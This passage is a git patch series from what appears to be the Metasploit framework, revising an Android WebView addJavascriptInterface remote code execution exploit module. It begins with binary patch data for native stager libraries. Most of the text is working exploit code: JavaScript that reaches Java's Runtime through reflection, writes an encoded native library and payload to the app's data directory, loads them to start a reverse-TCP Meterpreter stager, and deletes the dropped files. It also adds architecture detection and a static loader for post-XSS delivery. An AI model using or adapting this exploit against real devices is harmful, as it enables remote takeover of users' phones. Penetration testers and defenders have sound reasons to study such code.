zN&t5PZU*2Ow(d`N03$8Gr{L(wl&t$*rj3;;<0yd>;>yLB)y4Y<3-2V^WwK51KE?6@ zz>QW-i0f>O>xjUSB<28k_2WJ4CIEe_0$6x;_5Pmzq!CJz^#DkfKmVpj(6)m zOn)53;t(IV@sN$bYvU(vtN~BMgpLryh^L5gj{g++15k3BSi;#)4ClT|j7#_#VmLEF z3}>As#$-o`G5I%%A#aQr!Ev4#23;V=LSH22eIzl@loN-|YZAK?-m$067=!59-MafH z59_hFpE8|#OIE!xtNy91`rTRex~zJ2R=p~#zA&pkH>*A?tA0aPy$E%$de{_-X1LVd ziI-EUQ5p8i0&QY<;w8}M5$N+?A6xm&|6TE5+lriHEz2LQp4W6s)ARe>OVK$y@xre7ix>K$-8KH2 zWi?MOT~^~lZ5TXN%kRkWL^bl1)Wp&E^&wOA*8VK~s_n4Oc~Pp{wE#9C%8M|_8)jnhM!ruKy6?u--s!^hy3Dy3jO3M!S1ROHPUQC%(RYXX3f2mfYF>`Ggnp ze+JpIddPH%bxGmZlGx2|>XyV#U0_^X`h4Q2)DO9m2ON^`sXl_3 z7idSS=oezWfs{~;bTKMvJM|>{{Fkag~(eJ4heWpif zZsbE`qk2OYyYxEI_dUt4eFw6?{|(Cy%|M%3C-$2`$fS?Si`@H-`YOZn-3Ilr$1OC; zr5?yp)IJZ+BFqPRpug6C*aKNU7ii3*xXPdQBkea-v($jbrZ6HGOc< zbOp6!o_Kns;J;VsUc{7$YDVtxfbQKepy!F>BkUWGzXJN<5pQ$=wrI&(<&e3a{uOHs zpQaT~)-<;W26aX2FAVq(O~ZLpT#Fc(q-e>>^E6{`-hf^NpMCq!@Dt|agA5scd&>v( z1&HzZe8gc?OV%NVB=|7k8W{1RUseHrEm;X3A%X_ZT$}{Z3Cwukd*gsk`Hw)ZSFAH$ zNu_)_!1R?Y9?~C!UnU1N196hvg>{jBiM82zYNQgr7eOs41?YP%8Bq3{v#j|9E!hFs zNIN{X4MqMPrs6+f(pE3*c+1igM2raEgU~HwUAnmjVin`WCj+~L)(aW?xQFw^YVg+Y zb4hU=)Q3EbVZ>>ntPCQ)v_i(8PwLweHV%%U~ zcom_$;{xNqbQbx?Wd4|rII&`SmX`dW{{^#1MNYxKz5#XY_tDjruf66fP4~IC>`buV zrJ`Sb!E_-f1PAw+|iwhC#*F^uEJVizxGT1pIGfVBFMIxSf2&b&=g(LeEJu({-h-C zHE{LtVb9;@Lj7^X(XG(SJOzF?;;KN7?!df*MmP8vJA+vN%4na-c;eo;_%8QF5P40@ zhmD0ERm;b_Fy9w!IY|GA;h=$gt1nj^7;%YCV<+lf>?sL#tOatPlhd@M+rLBkYPpv5 zDw-rK`=%*~iQm{d6fxjYu+O*-*b_e7kw@vDsql@8b-K@Ezgc;}OWjyE#-cRb zuTN3-TnqcKR}iDa1Ljk-bC`01SSx|Od2jL-=suYhL#zahJ`^3+q-aAOrcrD8+jCF&@54%vJi#g{TYcU*z>9 z{Pcb6ypnb#O0af}Bg`R5zugA8#FiYiVU0$mLG*KM6lWa#EC+X-%-OOdfmj$_ulDI) z#IDf3ggM@8thMJ-g#Glc#C#Am@GOJ%zQ@2h=H}T#ebgaC*ELzXuLrH-uE;(sw$;P0 zeE@Aam_PE&D9^)Lr_*Q4U@7kNe$BWJXO9GYt$l7z10MT$`o6IF*DG|F6_Z$-w{{Oc z2N@m!oru`4Au#9mG;Hk%rhZeY;w}Q)^4-%CZmCa^{Jpw7ythamj!#p- zhcm3$^}sZ}66fVf%;{Sg?@{V?j49;V=@IpXPe2yyGn%v{WlmCeBvj-e1%5zWCI5;0 zQQ*!Ij{=S+^2Az0XxctW(|Wz4IQeDEZ}%D=P0NS9#R_6k(H8fJ=%YGphMsGad(qBu z@N2(NnX?OcMqpp^K7jnL{K%+P;%A|-*rjwE0%#bRt3SfJ_n9yf>$Hyd5TA3_ zf*(1YXU{XnX@C6ebr#Qh$P~W(YX;)J$V7$cLf8zVS^)KI@gg;>f=HFy`AU}Xy z@3nI{9(jv-x8Pl4s;VWOI|gh@zKweZZR`N=B=`pYD&~0JonAm2bHX0liu=HHHEvd^ z`^;P=ZZakUYOj@>Klg5G)Vl8kv}6(dCI!)lIpm_wJiQA8qT^0iEX&?V4=OJy<9DC}RT#Pv$CXQWchdp(smI3f~}qwP`g& zpSIhFE$ouU-gM;yN&pprMSxX+FklOy8?XoPIN$`}hkzFWNx)lUwu}U107?KAfJJ~+ zfG}VSpc}9U@HpTE;D>-00ZG7H2}_35J#Jrfw|s@ zb;Z8R#k^&lfqtA{fy5!R7UvenU5;nn``~H*Ydrn|{m#F}gSBj$z~fau~UYK7}UrC?)c*cEW2(csr$p6sCoQJz*;mfG!Am*-t{2bWCeV!YDjKF|7 zg7_uP{ye*%?eC(U`RYFqi*ZHKt-D4yblT$)<3?Bf+;4<7V7|h=iCC87yYzr4GTiYd z#T)O1YTnhMD~@{%_Qfp78uJT1j@)3`SDn5aeFt{Sfq2q2`EKJVd?VkCd4Zo}sc#1E z^Ky@t{1x^B_t9a@$2EDn!Lxc8d0^0%m!}GSD*TIQqCyeJIUd*C`+06)Zj|MPEZX#h zJ!iI)=3J;}812U)PlG(JmrxVQ9Mz@YGXrCVVx-Dkx@FUx9z5@8#@}N;L*T`|wfF?= z$^qtH-H!PPHK=ce?lGl6??gMttpfi^@bPZR@s3{h(T*L^&+)E+X0*{K;8*0{M6MXH z?ru4OJ}b_+9`yHiA@tuPUv%Hqt8=`=OL;%WJie1<)4h-Fn;|pCM?kT(xV}`+Bfq6U&9rP9LUIZOD zAKs(GbyIH=`Em5QEZ$pfAK|&eH|8(UZ?=7ed}+nW1=vI#xH}c+1@Ih*cGzUu>?`fD z)(ZhX`k#;qKUw-qAd_=b)E=F_`!V`(C$;*D?LN+*esJbb+pun<)OQ;CIF}sgvv_QM zn6u&WYsQ^+{LRGK$@5X+of*&ke6FtJ`3D~`H_6z)+`Fh7|X>oXpa9S zb1I%yb77D3{LAr-2R@VMf{*XJ7>|;@uWH4<%(MBGcz^$=^d7A9?=y4MmrT6t!+W(} z-O<5wvH6d9mjS#P`0*6ogkH4PU{_VPx@gr}fwhs*r z#h)bpwjA&KAJRwTBfwfJwf+2WQ`?VuPsFRwrTOB(NApg^HJd(T(_)O{z42Xdr}+*7 zw_yC4-=}HfCzO-%u6NS(!@!g~X4APBQrm06KMVL9vrop)0CQrW{bQQ{r@-HW-t~V@ z>pu^ScQV_FOKnX4@@PkUL;38+@`l#NmgcsIDCbXA=|8hO%dMZB%EHn6CbWx&_SUl2 zNG#kLZE0_gm8JQD;ceEh-;LJKRpp)AI%AR6^6E&}l9q61Cx3sBbcj!f?+=%^;77G` ztChdVXLpy*shhx&9(TK_YHn+e-6=}5`s-u(6@T;Xe`8CQy4&Zh6*M_*%4I~q$C}$k z`UkvHjJ#T|df=)Du6p3A2d;YHst2xm;Hn4S>jAuwbBY_4;k(k`&NQKp=P>ayUJT%Q z#rpOpANXO=cy1E40Dhl?XA^;UnC*Bb5`-dLTESv{)8qk`@y7@JTRi;WpE!>fPQ2HC z4+Qa#Z2S`&{}(Xc%ZXnC^Q9BNU%vsEdiY(?5zyBIqubH}WPKAw9e9V_PMQDTQZ+06 zJv+bi=C|AYUVCDx!jHXwD_Am?E?IJ$TDtTTYv!m6%WhTY`z!Fzf2&#=?TB>XQ$T#4 zHV2HH7hGgvFpJIYEsbhLSp|Mx7mN7qkM(VW4C-u)rhTuGF5Hg(22V&RRVtZ`dg=eE`~j&+E#rf_GID1&nLq$|;um?*O>hH zNLnLpXlrYaMauBWBsf|c=iMLa=;Sw-mX2@?&kGyzNh#h=ywAc|BjCNR6?=@oF$6Mc z#)1VM|;5U%W_kHA}eJcT!Hy^-#Lb!tsc43vU4v+_+udV-kf{AgwQz(z60lOsmx zB!^))pQ0dD4}uK5Oo8a`aO$T%HQ1nv4QNL;5*w5Z9r1^e+za;M^>1#Dp z%}l1%lAp2C)JRSdl26M)^cG}yVGQFY zZH;kcnXwSLP8X~bhu|pjDR_c-1pY=m4!`T#y8B6Z9)2d~@mfy=*wZKz4lBYfn7EJhJ#Y+uE&4}b1rypOd=jq0KH*EY!oP(ZIH0>{>wr5=F2PaK zpK0l zYUJbffqO|qC%F^Zu0L5}txvzodU0{SR$H@U!U{u;6&L5=s_Arok)&JZ_nqyslr=Y6 zFKmB6^Z^ z9ipJWgCGXI-KRlBPlJM>m_e%^wuKO5$e=xJP}ukC8T;j1;??ix{I2)>j@RQ_YAsbt z+9rF5CMVKaz2GCN9}^3s!X=N1yz5d2k)4QIX)E2r`+hkm+=-ML^ zf`|F36})#b>w+l4d;lI~j=^Oa*WAJ`uW4@AN-I%RUF#ldBXUX$p*E+v^H(wNX-i`s zO(W`K*Xe})%m?8p^GUeGoQ8igkHa53H&kf3 zqDOfh_QO`?7Bs$()xB^Geyi$7U^^OWS3VB^hW*MHEct&2Zr}t@_vQ(AoBRZhvifwB zXWC7cK7#i@9H~D;qh(a+2i{mWNp$WI4)mgylY# z1C4yNKCzz_x>#;UwtJpc$oc$-<|)pXYqcdS8nzO~s5n0huNu1Jn-DjR%8oWoq>Odv z*)1Yx#5?vnZ1u$&xBWX?ghM_JcDu^k8aLmCMVm)Keh41ctN4=eq*dt%Jvx>2H@2*~ zPt9Fv?!@LtWIJ};{~X4j&;uc=@_yKDTh+~}ro%p40qqpz0+QKSS?aw$Tm7;!jI@ji cmSr4i2zPWyjw99oOXL)i*=ExC)caEW1z554!~g&Q diff --git a/data/android/libs/mips/libdalvikstager.so b/data/android/libs/mips/libndkstager.so similarity index 92% rename from data/android/libs/mips/libdalvikstager.so rename to data/android/libs/mips/libndkstager.so index ad370966a9862e32914134b25ecc6d2521a26ae6..973ffe39a721b9eee2ddc9952246fb7508b36ca6 100644 GIT binary patch delta 92 zcmcbhc|mi7D+^CvN_KHcVtQ(kUUB~9P!{dU3XCk98(1c>umkG&jPE9=3dysEuz&I6*pPa;^!6-JlnZrUB zn|zzyfi=L#-_d2W0>>LRK@(;M1`(i6K`54)EX!}sc?`${8F*%LEdOHJE})uOK)ecw zcLDJ!Aif2}uYma1W?6w`M#f{48wKTA&oF_sEEQB{l>ti0Og;-_fh;hY{1wP50kTRq J%L=(O0RV=cKj;7e delta 237 zcmaE&@kC?8UM7K*#GJCs?BbHd^wc7~;(Uh9Cz+fXCkwD>F?vn5W>I4_o}9#@!6-Gk znZrVsntYqxffa20W(AHnY=Rcd3=ASboq|xTFj=##IRF45_YPzL delta 45 ucmdnXx0jDMz?+#xgn@&DgF$0j) Date: Wed, 2 Apr 2014 17:21:13 -0500 Subject: [PATCH 20/58] Remove BES and calculate the pid manually. --- .../browser/webview_addjavascriptinterface.rb | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index cab66ca0f4..6b6c6fc8b4 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -7,7 +7,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::BrowserExploitServer + include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ @@ -77,15 +77,11 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Serving javascript") send_response(cli, js, 'Content-type' => 'text/javascript') else - super + print_status("Serving exploit HTML") + send_response_html(cli, html) end end - def on_request_exploit(cli, req, browser) - print_status("Serving exploit HTML") - send_response_html(cli, html) - end - def ndkstager(stagename) localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so') data = File.read(localfile, :mode => 'rb') @@ -99,6 +95,9 @@ class Metasploit3 < Msf::Exploit::Remote // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } + // get the pid + var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null); + // get the runtime so we can exec var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); var runtime = m.invoke(null, null); @@ -106,9 +105,10 @@ class Metasploit3 < Msf::Exploit::Remote var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}"; // get the process name, which will give us our data path - var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']); + // $PPID does not seem to work on android 4.0, so we concat pids manually + var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var ch, path = '/data/data/'; - while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); } + while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); } var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; var dexPath = path + '/#{stagename}.dex'; From 55500ea2f33a78b0c56966059709c7d2349fd008 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Wed, 2 Apr 2014 21:53:12 -0500 Subject: [PATCH 21/58] Avoid the nullchar. --- .../exploits/android/browser/webview_addjavascriptinterface.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 6b6c6fc8b4..ec69512a81 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote // $PPID does not seem to work on android 4.0, so we concat pids manually var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var ch, path = '/data/data/'; - while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); } + while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); } var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; var dexPath = path + '/#{stagename}.dex'; From 2e4c2b1637ae1f10e7ffe1f09e3d87db367221de Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 7 Apr 2014 09:44:43 -0500 Subject: [PATCH 22/58] Disable Android 4.0, add arch detection. Android 4.0, it turns out, has a different echo builtin than the other androids. Until we can figure out how to drop a payload on a 4.0 shell, we cannot support it. Arch detection allows mips/x86/arm ndkstagers to work, unfortunately x86 ndkstager was not working, so it is disabled for now. --- data/js/detect/os.js | 13 +- .../browser/webview_addjavascriptinterface.rb | 186 ++++++++++++++---- 2 files changed, 154 insertions(+), 45 deletions(-) diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 47250c2d32..9214b49118 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -20,6 +20,7 @@ arch_armle = "armle"; arch_x86 = "x86"; arch_x86_64 = "x86_64"; arch_ppc = "ppc"; +arch_mipsle = "mipsle"; window.os_detect = {}; @@ -184,9 +185,15 @@ window.os_detect.getVersion = function(){ } else if (platform.match(/arm/)) { // Android and maemo arch = arch_armle; - if (navigator.userAgent.match(/android/i)) { - os_flavor = 'Android'; - } + } else if (platform.match(/x86/)) { + arch = arch_x86; + } else if (platform.match(/mips/)) { + arch = arch_mipsle; + } + + + if (navigator.userAgent.match(/android/i)) { + os_flavor = 'Android'; } } else if (platform.match(/windows/)) { os_name = oses_windows; diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index ec69512a81..8794fa903a 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -7,28 +7,49 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn - autopwn_info({ - :os_flavor => "Android", - :arch => ARCH_ARMLE, + # Since the NDK stager is used, arch detection must be performed + SUPPORTED_ARCHES = [ ARCH_ARMLE, ARCH_MIPSLE ] # todo: , ARCH_X86 ] + + # Most android devices are ARM + DEFAULT_ARCH = ARCH_ARMLE + + # Some of the default NDK build targets are named differently than + # msf's builtin constants. This mapping allows the ndkstager file + # to be looked up from the msf constant. + NDK_FILES = { + ARCH_ARMLE => 'armeabi', + ARCH_MIPSLE => 'mips' + } + + autopwn_info( + :os_flavor => 'Android', :javascript => true, :rank => ExcellentRanking, + + # The Android 4.0 shell is different than other versions of android + # in that the echo builtin does not allow the \x hex encoding syntax. + # Android 4.0 is still vulnerable to the Java reflection exploit, but + # until we find a way to drop and run the payload, we can't support + # it as a target. :vuln_test => %Q| - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} + if (!navigator.userAgent.match(/Android 4\.0;/)) { + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} + } } | - }) + ) def initialize(info = {}) super(update_info(info, - 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', - 'Description' => %q{ + 'Name' => 'Android Browser and WebView addJavascriptInterface Code Execution', + 'Description' => %q{ This module exploits a privilege escalation issue in Android < 4.2's WebView component that arises when untrusted Javascript code is executed by a WebView that has one or more Interfaces added to it. The untrusted Javascript code can call into the Java Reflection @@ -46,72 +67,92 @@ class Metasploit3 < Msf::Exploit::Remote Note: Adding a .js to the URL will return plain javascript (no HTML markup). }, - 'License' => MSF_LICENSE, - 'Author' => [ + 'License' => MSF_LICENSE, + 'Author' => [ 'jduck', # original msf module 'joev' # static server ], - 'References' => [ + 'References' => [ ['URL', 'http://blog.trustlook.com/2013/09/04/alert-android-webview-addjavascriptinterface-code-execution-vulnerability/'], ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] ], - 'Platform' => 'android', - 'Arch' => ARCH_DALVIK, - 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp', }, - 'Targets' => [ [ 'Automatic', {} ] ], - 'DisclosureDate' => 'Dec 21 2012', - 'DefaultTarget' => 0, + 'Platform' => 'android', + 'Arch' => ARCH_DALVIK, + 'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' }, + 'Targets' => [ [ 'Automatic', {} ] ], + 'DisclosureDate' => 'Dec 21 2012', + 'DefaultTarget' => 0, 'BrowserRequirements' => { - :source => 'script', - :os_flavor => "Android", - :arch => ARCH_ARMLE + :source => 'script', + :os_flavor => 'Android' } )) end + # Hooked to prevent BrowserExploitServer from attempting to do JS detection + # on requests for the static javascript file def on_request_uri(cli, req) - if req.uri.end_with?('js') - print_status("Serving javascript") - send_response(cli, js, 'Content-type' => 'text/javascript') + if req.uri =~ /\.js/ + serve_static_js(cli, req) else - print_status("Serving exploit HTML") - send_response_html(cli, html) + super end end - def ndkstager(stagename) - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so') + # The browser appears to be vulnerable, serve the exploit + def on_request_exploit(cli, req, browser) + arch = normalize_arch(browser[:arch]) + print_status "Serving #{arch} exploit..." + send_response_html(cli, html(arch)) + end + + # The NDK stager is used to launch a hidden APK + def ndkstager(stagename, arch) + localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') data = File.read(localfile, :mode => 'rb') data.gsub!('PLOAD', stagename) end - def js + def js(arch) stagename = Rex::Text.rand_text_alpha(5) - %Q| + script = %Q| function exec(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } // get the pid - var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null); + var pid = obj.getClass() + .forName('android.os.Process') + .getMethod('myPid', null) + .invoke(null, null); // get the runtime so we can exec - var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null); - var runtime = m.invoke(null, null); + var runtime = obj.getClass() + .forName('java.lang.Runtime') + .getMethod('getRuntime', null) + .invoke(null, null); + + // libraryData contains the bytes for a native shared object built via NDK + // which will load the "stage", which in this case is our android meterpreter stager. + // LibraryData is loaded via ajax later, because we have to access javascript in + // order to detect what arch we are running. + var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename, arch), '\\\\x')}"; + + // the stageData is the JVM bytecode that is loaded by the NDK stager. It contains + // another stager which loads android meterpreter from the msf handler. var stageData = "#{Rex::Text.to_hex(payload.raw, '\\\\x')}"; - var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}"; // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var ch, path = '/data/data/'; while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); } + var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; - var dexPath = path + '/#{stagename}.dex'; // build the library and chmod it runtime.exec(['/system/bin/sh', '-c', 'echo "'+libraryData+'" > '+libraryPath]).waitFor(); @@ -121,19 +162,80 @@ class Metasploit3 < Msf::Exploit::Remote runtime.exec(['/system/bin/sh', '-c', 'echo "'+stageData+'" > '+stagePath]).waitFor(); runtime.exec(['chmod', '700', stagePath]).waitFor(); + // load the library (this fails in x86, figure out why) runtime.load(libraryPath); + + // delete dropped files runtime.exec(['rm', stagePath]).waitFor(); runtime.exec(['rm', libraryPath]).waitFor(); - runtime.exec(['rm', dexPath]).waitFor(); return true; } - for (i in top) { if (exec(top[i]) === true) break; } + if (!navigator.userAgent.match(/Android 4\.0;/)) { + for (i in top) { if (exec(top[i]) === true) break; } + } + | + + # remove comments and empty lines + script.gsub(/\/\/.*$/, '').gsub(/^\s*$/, '') + end + + # Called when a client requests a .js route. + # This is handy for post-XSS. + def serve_static_js(cli, req) + arch = req.qstring['arch'] + response_opts = { 'Content-type' => 'text/javascript' } + + if arch.present? + print_status("Serving javascript for arch #{normalize_arch arch}") + send_response(cli, js(normalize_arch arch), response_opts) + else + print_status("Serving arch detection javascript") + send_response(cli, static_arch_detect_js, response_opts) + end + end + + # This is served to requests for the static .js file. + # Because we have to use javascript to detect arch, we have 3 different + # versions of the static .js file (x86/mips/arm) to choose from. This + # small snippet of js detects the arch and requests the correct file. + def static_arch_detect_js + %Q| + var arches = {}; + arches['#{ARCH_ARMLE}'] = /arm/i; + arches['#{ARCH_MIPSLE}'] = /mips/i; + arches['#{ARCH_X86}'] = /x86/i; + + var arch = null; + for (var name in arches) { + if (navigator.platform.toString().match(arches[name])) { + arch = name; + break; + } + } + + if (arch) { + // load the script with the correct arch + var script = document.createElement('script'); + script.setAttribute('src', '#{get_uri}/#{Rex::Text::rand_text_alpha(5)}.js?arch='+arch); + script.setAttribute('type', 'text/javascript'); + + // ensure body is parsed and we won't be in an uninitialized state + setTimeout(function(){ + var node = document.body \|\| document.head; + node.appendChild(script); + }, 100); + } | end - def html - "" + # @return [String] normalized client architecture + def normalize_arch(arch) + if SUPPORTED_ARCHES.include?(arch) then arch else DEFAULT_ARCH end + end + + def html(arch) + "" end end From fc841331d280e0b8b187a259be3c7a4af0dcce7e Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Tue, 8 Apr 2014 17:58:31 -0500 Subject: [PATCH 23/58] Add a test on echo to check for hex support. * This is much nicer than checking version on userAgent, which is often changed when rendered in an embedded webview. --- .../browser/webview_addjavascriptinterface.rb | 53 ++++++++++++------- 1 file changed, 33 insertions(+), 20 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 8794fa903a..671fe0e83d 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -28,20 +28,12 @@ class Metasploit3 < Msf::Exploit::Remote :os_flavor => 'Android', :javascript => true, :rank => ExcellentRanking, - - # The Android 4.0 shell is different than other versions of android - # in that the echo builtin does not allow the \x hex encoding syntax. - # Android 4.0 is still vulnerable to the Java reflection exploit, but - # until we find a way to drop and run the payload, we can't support - # it as a target. :vuln_test => %Q| - if (!navigator.userAgent.match(/Android 4\.0;/)) { - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} - } + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} } | ) @@ -97,6 +89,8 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_uri(cli, req) if req.uri =~ /\.js/ serve_static_js(cli, req) + elsif req.uri =~ /\.msg/ && req.body.to_s.length < 100 + print_warning "Received message: #{req.body}" else super end @@ -119,7 +113,17 @@ class Metasploit3 < Msf::Exploit::Remote def js(arch) stagename = Rex::Text.rand_text_alpha(5) script = %Q| - function exec(obj) { + function exec(runtime, cmdArr) { + var ch = 0; + var output = ''; + var process = runtime.exec(cmdArr); + var input = process.getInputStream(); + + while ((ch = input.read()) > 0) { output += String.fromCharCode(ch); } + return output; + } + + function attemptExploit(obj) { // ensure that the object contains a native interface try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; } @@ -135,6 +139,19 @@ class Metasploit3 < Msf::Exploit::Remote .getMethod('getRuntime', null) .invoke(null, null); + // now ensure we can write out a hex-encoded byte with the shell's echo builtin + var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\\\x66"']); + if (byte.indexOf("\\\\") > -1) { + // if youre havin byte problems + var xml = new XMLHttpRequest(); + // i feel bad for you son + xml.open('POST', '#{get_module_resource}.msg', false); + // i got \\x63 problems + xml.send("Unsupported shell echo builtin: exploit aborted."); + // but your shell aint one + return true; + } + // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. // LibraryData is loaded via ajax later, because we have to access javascript in @@ -147,9 +164,7 @@ class Metasploit3 < Msf::Exploit::Remote // get the process name, which will give us our data path // $PPID does not seem to work on android 4.0, so we concat pids manually - var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); - var ch, path = '/data/data/'; - while ((ch = p.getInputStream().read()) > 0) { path += String.fromCharCode(ch); } + var path = '/data/data/' + exec(runtime, ['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']); var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so'; var stagePath = path + '/#{stagename}.apk'; @@ -172,9 +187,7 @@ class Metasploit3 < Msf::Exploit::Remote return true; } - if (!navigator.userAgent.match(/Android 4\.0;/)) { - for (i in top) { if (exec(top[i]) === true) break; } - } + for (i in top) { if (attemptExploit(top[i]) === true) break; } | # remove comments and empty lines From 8920e0cc80d75adf3cb116bee3c1169e37ebce92 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Thu, 17 Apr 2014 01:17:42 -0500 Subject: [PATCH 24/58] Use octal encoding and -e, so that echo always works. --- .../browser/webview_addjavascriptinterface.rb | 29 ++++++------------- 1 file changed, 9 insertions(+), 20 deletions(-) diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index 671fe0e83d..9e3e7c232e 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -69,7 +69,11 @@ class Metasploit3 < Msf::Exploit::Remote ['URL', 'https://labs.mwrinfosecurity.com/blog/2012/04/23/adventures-with-android-webviews/'], ['URL', 'http://50.56.33.56/blog/?p=314'], ['URL', 'https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-code-execution/'], - ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'] + ['URL', 'https://github.com/mwrlabs/drozer/blob/bcadf5c3fd08c4becf84ed34302a41d7b5e9db63/src/drozer/modules/exploit/mitm/addJavaScriptInterface.py'], + ['CVE', '2012-6636'], # original CVE for addJavascriptInterface + ['CVE', '2013-4710'], # native browser addJavascriptInterface (searchBoxJavaBridge_) + ['EDB', '31519'], + ['OSVDB', '97520'] ], 'Platform' => 'android', 'Arch' => ARCH_DALVIK, @@ -89,8 +93,6 @@ class Metasploit3 < Msf::Exploit::Remote def on_request_uri(cli, req) if req.uri =~ /\.js/ serve_static_js(cli, req) - elsif req.uri =~ /\.msg/ && req.body.to_s.length < 100 - print_warning "Received message: #{req.body}" else super end @@ -139,28 +141,15 @@ class Metasploit3 < Msf::Exploit::Remote .getMethod('getRuntime', null) .invoke(null, null); - // now ensure we can write out a hex-encoded byte with the shell's echo builtin - var byte = exec(runtime, ['/system/bin/sh', '-c', 'echo "\\\\x66"']); - if (byte.indexOf("\\\\") > -1) { - // if youre havin byte problems - var xml = new XMLHttpRequest(); - // i feel bad for you son - xml.open('POST', '#{get_module_resource}.msg', false); - // i got \\x63 problems - xml.send("Unsupported shell echo builtin: exploit aborted."); - // but your shell aint one - return true; - } - // libraryData contains the bytes for a native shared object built via NDK // which will load the "stage", which in this case is our android meterpreter stager. // LibraryData is loaded via ajax later, because 